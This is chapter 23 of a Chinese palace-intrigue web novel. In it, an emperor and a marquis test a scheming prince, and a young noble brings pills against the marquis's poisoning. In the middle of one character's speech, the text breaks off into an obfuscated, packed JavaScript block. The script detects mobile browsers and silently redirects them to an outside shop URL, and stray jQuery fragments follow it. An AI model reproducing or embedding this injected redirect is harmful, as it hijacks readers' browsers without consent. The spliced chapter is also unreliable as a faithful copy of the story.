23. 第23章

作品:《杀神侯爷是我苟命搭子

    皇宫,勤政殿。


    午后空中飘起雪花,一个小太监踩着薄雪从宫门快步走来,行至殿门外,俯在太监总管崔英耳边低声道了一句:“崔公公,贤王来了。”


    崔英正靠墙小憩,听到小太监的话眼神一动朝宫门望去,身披棕色斗篷的男子正往这边来。


    殿内烧着地暖,除了皇上的暖桌暖椅,属殿前的墙面最暖和,小太监们都贴着墙,崔英挥手叫众人站好,顶着笑脸迎上去。


    “贤王殿下,您可算回来了,万岁爷正惦记您呢。”


    男子一身华服,容貌俊美英气,眉眼间不似寻常男子般硬朗,颇为柔和,与先帝极相似,乃是先帝的二皇子,如今的贤王齐长松。


    “劳烦崔公公帮本王通传一声。”贤王温和道。


    崔英笑道:“不敢当,王爷稍等片刻,奴才这就进去通传。”


    崔英掀开厚重的门帘进了勤政殿,贤王一手负于身后,一手端放腹前,姿态轩昂,顾自在原地等待。


    一旁的小太监低声道:“不愧是当过摄政王的,气质就是和旁的皇亲国戚不同。”


    年下许多远在封地的王爷公主回京,宫里时常有皇家宗亲出入走动,贤王因封地在东南,是以耽搁了些时日,堪堪于腊月二十九抵京。


    这些在勤政殿伺候的小太监,许多也是头一回见他。


    不多时,崔英从殿内出来,“皇上请王爷进去。”


    “有劳崔公公了。”


    “哪里哪里。”


    不等崔英说完,贤王迈步进了勤政殿。


    崔英不着痕迹地觑了他背影一眼,目光暗了暗,一甩拂尘道:“还不站好了,都给我小心伺候着。”


    嗓音冷冽,小太监们打了个寒颤,一一站回原位。


    “是,公公。”


    勤政殿内,烛火和炭炉供应不缺,加之雪天光线好,贤王甫一进来便觉得温暖明亮,细一打量,才发觉殿内较当年少了好些摆设,又精简了。


    御案后,当今天子齐长蕴正手持朱笔批阅奏折,连崔英这个大总管都在外面伺候,殿内自是没有旁人。


    贤王行至御案前,垂眸掩去打量的视线,躬身行礼:“臣参见皇上。”


    齐长蕴抬头,脸上露出笑:“皇兄不必客气,坐。”


    贤王规矩地行完礼,说了几句关切话,这才解了斗篷到一旁的紫檀木圈椅坐下,扫了眼御案上的奏折感叹:“阖家团圆之际,皇上竟也这般勤勉,当真不忘先人悬石程书之德。”


    两个小太监奉了茶进来,齐长蕴放下朱笔随口应道:“不过是些臣子的请安折子,左右无事,朕便看看。今年回京述职的官员较去年又多了,一个个不知哪儿学的,每日都递折子,看得朕眼花。”


    皇帝摆了摆手,语气无可奈何,却又含了一丝似有若无的甘之如饴。


    贤王恭维:“大齐四海升平,圣上治理有方,百官爱戴皇上也是应当的。”


    齐长蕴轻点指尖:“说起来,皇兄也已三年不曾回京了。”


    贤王侧过身拿茶碗:“闽州封地遥远,且海防一事不可懈怠,臣虽在千里之外,心却始终牵挂着皇城。”


    皇帝大笑,茶杯和贤王隔空一碰:“有皇兄替朕守着东南,朕自当放心。”


    正要喝茶,齐长蕴忽的想起什么:“此次回京,皇兄可去看过皇叔?”


    贤王动作一顿,眉间转瞬染上愁色:“唉,路过淮阳城时倒去了皇叔府上,但皇叔始终不肯见臣。听管家说,如今皇叔整日待在内院,不出门也不爱说话,偶尔见人,要么是派出去的侍卫,要么就是传些歌姬排唱荣王妃唱过的曲子,旁人则是一概不见。”


    谈起荣亲王,殿内气氛低沉。


    齐长蕴叹道:“皇叔离京前便不爱说话了,没想到如今连人也不大见了。”


    “皇上还派人守着呼星台吗?”贤王问。


    呼星台位于京城不远的一处行宫内,行宫依山而建,其中一处高地因地势开阔,是个赏月观星的好地方,得先皇亲赐“呼星台”一名。


    皇帝:“自然,荣王妃既是在呼星台出事,朕自会追查到底,如今行宫内有重兵把守,任何人都不能随意进出。只是,这一年来呼星台并无异样,朕也不知该如何下手。”


    “臣有个建议。”


    贤王拱手道:“皇上不如派遣信得过的臣子前往行宫调查,此事毕竟牵扯皇室宗亲,还是早些解决为好,也好过皇叔整日消愁。”


    “哦?不知皇兄建议何人前去?”皇帝来了兴趣,挑眉问。


    贤王垂眸:“臣久不在京城,对朝中官员知之甚少,只隐约听闻,皇上近日晋了大将军封无介为御北侯,想来此人是极为皇上看重的。”


    此时,殿内一架嵌金琉璃屏风后,被挂在嘴上的御北侯扬起嘴角,缓缓靠上身后椅背。


    而皇帝,像是听到笑话般大笑出声,起身走到贤王身边。


    帝王站着,身为臣子自然不能再坐下去,贤王正要起身,齐长蕴按住了他。


    齐长蕴止住笑,神色无奈:“皇兄,朕还以为咱们兄弟同心呢。”


    贤王脸色一变,心中因皇帝笑声激起的恼怒转瞬化为惊惶。


    皇帝这是何意?


    齐长蕴道:“蒙族侵略我北方城池,趁守城军不备分两路拿下了白铜和洞明,又集兵破了库尔赤。战报传回京城,朕就派了封无介出征,这一来一往间,镇北将军胡师仪就已经收复了白铜和洞明。封无介北征,不过是带兵打下库尔赤,又斩了蒙族元帅的首级罢了,论军功,是如何也无法封侯的。”


    “皇兄以为,朕缘何如此?”


    大将军破例封侯一事,确实曾在朝中引起热议,但皇上的封赏太过突然,直接在迎军回朝之日当众宣布,一众朝臣都傻了眼,事后再向皇上提及此事也为时已晚,圣旨都下了,哪有收回的道理。


    贤王福至心灵,猜测道:“此为皇上捧杀之计?”


    齐长蕴点头,神情高深莫测:“知朕心意者,皇兄也。封无介年纪轻轻便战功赫赫,若任他这般把持军权,朕难道就不怕有他功高震主那天?他是封归原的儿子,身为君王,朕不得不防。”


    贤王心中存疑,面上却不显,不动声色地起身,一甩衣摆跪地:“吾皇圣明。”


    “皇兄请起。”


    齐长蕴扶起兄长,“皇兄应当清楚,朕虽晋了封无介为御北侯,但并未给他实权,反倒是这层身份给他添了一丝忌惮。朕赏他高官厚禄,他若有不臣之心,便是不忠;作为封家后人,不恪守祖训,是为不孝,你说,封无介担不担得起这不忠不孝的骂名?”


    “他若这么做了,封归原九泉之下,必定不得安宁。”想起已故的封老将军,贤王挑起嘴角,眼底闪过一丝畅快。


    一闪而过,并未被皇帝看见。


    “皇上既然已有绸缪,臣自当听命。”


    此行目的达到,寒暄几句,贤王便借口府中有事跪安了。


    这厢贤王踏出勤政殿,御北侯便从屏风后走了出来。


    皇帝转头看他,二人相视一笑。


    齐长蕴:“你猜得不错,他果真按捺不住了。”


    御北侯望向殿门,冷笑一声:“齐长松三年未踏入京城,即便今年荣亲王失踪,他也不曾递折子请求回京。如今皇上不过封臣一个无实权的侯爷,他便这般急不可耐,倒看得起臣。”


    “他是怕夜长梦多。”齐长蕴回到御案后,拿起一封奏折,“这是东南探子递回来的消息,他此番回京,除了探明你晋封一事,便是要联络京中的人手。”


    御北侯接过奏折端详:“京城府尹竟也是他的人。”


    往下接二连三出现了不少熟悉的官员,位高权重、人微权轻者皆有,数量之多,任谁看了都会觉得骇然。


    看到某个名字,御北侯凝眉。


    杜洲,平坡县县令,宋明诚门生。


    “这京城府尹刘柏是礼部尚书宋明诚的门生,宋明诚又是右相秦珑的人,照他们这关系网,倒也说得过去。”齐长蕴一手撑头,一手抚在右相一派递来的奏折上。


    “说来也不只他一人怕夜长梦多。”


    御北侯拉回思绪,合上折子,“东南封地虽远,到底给了贤王养兵的机会。当年他虽然主动将皇位交还皇上,但也多次在暗中使手段,拖的时间越久,臣也怕将来不好对付。”


    齐长蕴正色:“所以朕才封你为御北侯,便是要他坐不住,他一旦有动静,朕自然不会坐以待毙。”


    当年怎么得回的皇位,付出了多少筹码和心血,整个东南军至今仍把持在齐长松手中,种种过往他深铭于心,一日也不会忘。


    御北侯意味深长道:“皇上已有绸缪,臣自当听命。”


    齐长蕴一愣,皱了皱眉:“你别学他说话,听得朕难受。”


    御北侯勾了唇,眼里难得浮现一丝笑意。


    齐长蕴也笑了:“无介,你可知这十几年来,朕有多想为老将军平冤?不单是告慰忠臣,朕也想让你重新成为当年那个意气风发的少将军。”


    御北侯眼神一变,缓缓止住笑,躬身道:“臣谢皇上大恩,能为父亲平冤,无介别无所求。”


    只怕如今的身体,难撑到父亲沉冤得雪那日。


    齐长蕴叹气,好好的提以前作甚,倒让无介心情更差了,封家的荣耀和苦难没有谁比他记得更清楚了。


    “罢了,不提这事。”皇帝主动扯开话题:“之前说到哪儿来着?对了,绪儿怎的过年也不回京?”


    御北侯垂眼,不着痕迹地避开皇帝视线:“镜明师太见她肯用心学东西,便留她在了岳明山,左右一年中还有许多相聚的日子,不必执着于过年。”


    齐长蕴调侃:“朕怎么觉得,她是怕被你责罚?绪儿收到你的信,应当会庆幸自己没有回家。”


    想起妹妹顽皮的个性,御北侯无奈一笑:“有这个可能。”


    二人闲话了几句,崔英进了殿。


    “禀皇上,襄国公世子求见。”


    “扶临也来了?传他进来。”齐长蕴倚上龙椅,让崔英传他进殿,“这小子,估计是听说你回京,在国公府坐不住了。”


    御北侯坐上圈椅,闲闲靠着椅背,气定神闲看商扶临视线乱晃走进来。


    商世子一进殿便先往御案旁看去,见到御北侯的瞬间眼睛便惊喜地睁大了。


    “叩见皇上,吾皇万岁万岁万万岁。”


    皇帝好笑地看他:“商扶临,你来干什么?”


    商世子讨好一笑:“臣在家无事,替皇上分忧来了。”


    “朕有何忧?”


    “臣听闻御北侯回京,特意去了隔壁的侯府一趟,谁知他竟偷摸进宫了,皇上您知道的,御北侯脾气不好,又不会说话,臣是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690172|187465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怕他出言不逊顶撞了您,这不,专程调和气氛来了。”商扶临油腔滑调地说着,还不忘偷瞄旁边一眼。


    御北侯冷脸瞪他。


    商扶临立马扭过头,苦道:“万岁爷,您倒是让臣起来啊。”


    “油嘴滑舌。”皇帝抬手,“坐吧。”


    “谢皇上。”商扶临起身,坐到了御北侯旁边。


    “说吧,你来作甚?”小太监换了新茶,齐长蕴端过茶杯,一边用杯盖抚着茶水,一边问他。


    商扶临又看了一眼御北侯,见他还是一副爱答不理的样子,只好收起谄媚的笑脸正经道:“臣是来向封大哥将功赎罪的。”


    皇帝和御北侯对视一眼,一时没有反应过来。


    商世子从怀里掏出一封信和一个小木匣,“从库尔赤回来,臣便一直在托人打听狼毒花。”


    狼毒花一词入耳,马车上经历的疼痛好似又要席卷四肢百骸,御北侯脸色一白,蓦然抓紧扶手。


    皇帝倏地从龙椅上站起:“你找到解药了?!”


    御北侯北征,商世子作为小将是一同去了的。


    蒙族一战确实如齐长蕴对贤王所说那样,镇北将军胡师仪便能收回失地,御北侯的出征其实大材小用了,但皇帝需要这样一个机会,让御北侯晋封,让贤王坐不住,这本是一个万无一失的计划,却在执行过程中发生了让所有人措手不及的意外。


    御北侯中了蒙族狼毒。


    狼毒提炼自蒙族独有的狼毒花,狼毒花毒性剧烈,一旦中毒几乎无药可解。而蒙族培育此花,以最先种下的花为母花,随后长出的为子花,偌大一个花圃只生长一朵母花,并严格控制子花数量,如此培养出的狼毒花毒性可达到难以估量的程度。


    大齐与蒙族向来有边境纷争,因而这种毒药甚少流传到大齐的地界,御北侯中毒后,整个大营陷入混乱,卫聂拼尽一身医术也无从下手,只能日夜查阅医书古籍寻找解毒之法。


    商扶临这辈子最敬重的人,除了他爹襄国公,便是当年让东南匪寇闻风丧胆的御北侯,于是一怒之下,商世子带兵烧了蒙族境内所有的狼毒花花圃,也因此,在得知御北侯的毒需用狼毒花母花解救之时,商世子陷入了无比的自责与悔恨。


    商扶临起身,小心翼翼看了二人一眼:“这是臣托神机阁打听的情况。”


    御北侯眼眸一动。


    若论近几年江湖上名声最大的组织,号称“天下诸事,无所不知”的神机阁无出其右,据说无论什么消息,只要给出足够的酬金,神机阁都能让买主得到心满意足的答案,神机阁势力遍布各地,朝廷也有所耳闻。


    皇帝走下台阶,拿过商扶临手中的信展开细细看起来。


    “你让神机阁找玄医子?”


    商扶临点头:“如今也只有玄医子能救封大哥了。”


    “我中毒后也派了人去郁州寻繁花谷,只是……”御北侯止住话。


    三人皆沉默。


    他们都知道,几年前医仙玄医子忽然宣布避世,不再问诊治病,百草山下也布了阵法阻止外人进入。世人皆道,玄医子身为医仙,医术高明却这般作为,实在对不起师父虞百药的医圣之名。


    然而不管旁人如何议论,玄医子还是消失在世人的视线中,纵是窥尽天下事的神机阁,在百草山下探听许久,也没能找到繁花谷入口。


    “皇上,封大哥,神机阁虽然没找到玄医子,但他们给了我这个。”


    商扶临递上手中的木盒,“这是九麻千须丹,神机阁知我在找狼毒的解药,便寻来了这药。千须丹不能根治狼毒,却是解毒保命的好药,是玄医子早些年炼制的,神机阁找遍整个大齐也只得了这唯剩的三颗。”


    御北侯接过木盒打开锁扣,里面是三颗指头大小的黑色药丸。


    药很好,却也十分贵重。


    “花了多少银子?”


    商世子强颜欢笑:“没多少。”


    其实一颗药抵他一年压岁钱了,今年因为犯大错害封大哥受伤,连压岁钱也被母亲免了,加上找神机阁花的天价酬金,他说是破产也不为过。


    但这不能说。


    御北侯收好盒子,淡淡道:“回头去我府上拿银子。”


    “别啊!!”


    商扶临瞪着眼一个劲儿摇头:“我特意给你找的,是为了赎我的罪过,若不是我带人烧了花圃,封大哥你早就解毒了,怎么能让你出钱。”


    御北侯:“可……”


    “扶临都这么说了,你便收下吧。”齐长蕴拍拍御北侯的肩膀,让他承了商世子的好意。


    语罢,又对商扶临道:“你也算做了件利国利民的好事,想让朕如何赏你?”


    一听有赏,商世子的脑子活泛起来,封大哥的钱他不能要,万岁爷的可以呀!


    “嘿嘿,臣听闻皇上近来得了一对祖母绿的如意佩,不如就将它赏赐给臣?”商扶临搓手。


    “你小子,倒是会管朕要东西。”


    齐长蕴虚指点点他,回到龙椅上,让崔英将如意佩的其中一枚取了来,商扶临捧着祖母绿兴奋地直道“谢主隆恩”,就差没跪地叩头行大礼了。


    一旁的御北侯看着桌上的木盒,兀自陷入沉思。


    三颗九麻千须丹,至多可撑一年。


    一年内若再找不到玄医子,留给他从贤王手中夺回东南军的时间,也不多了。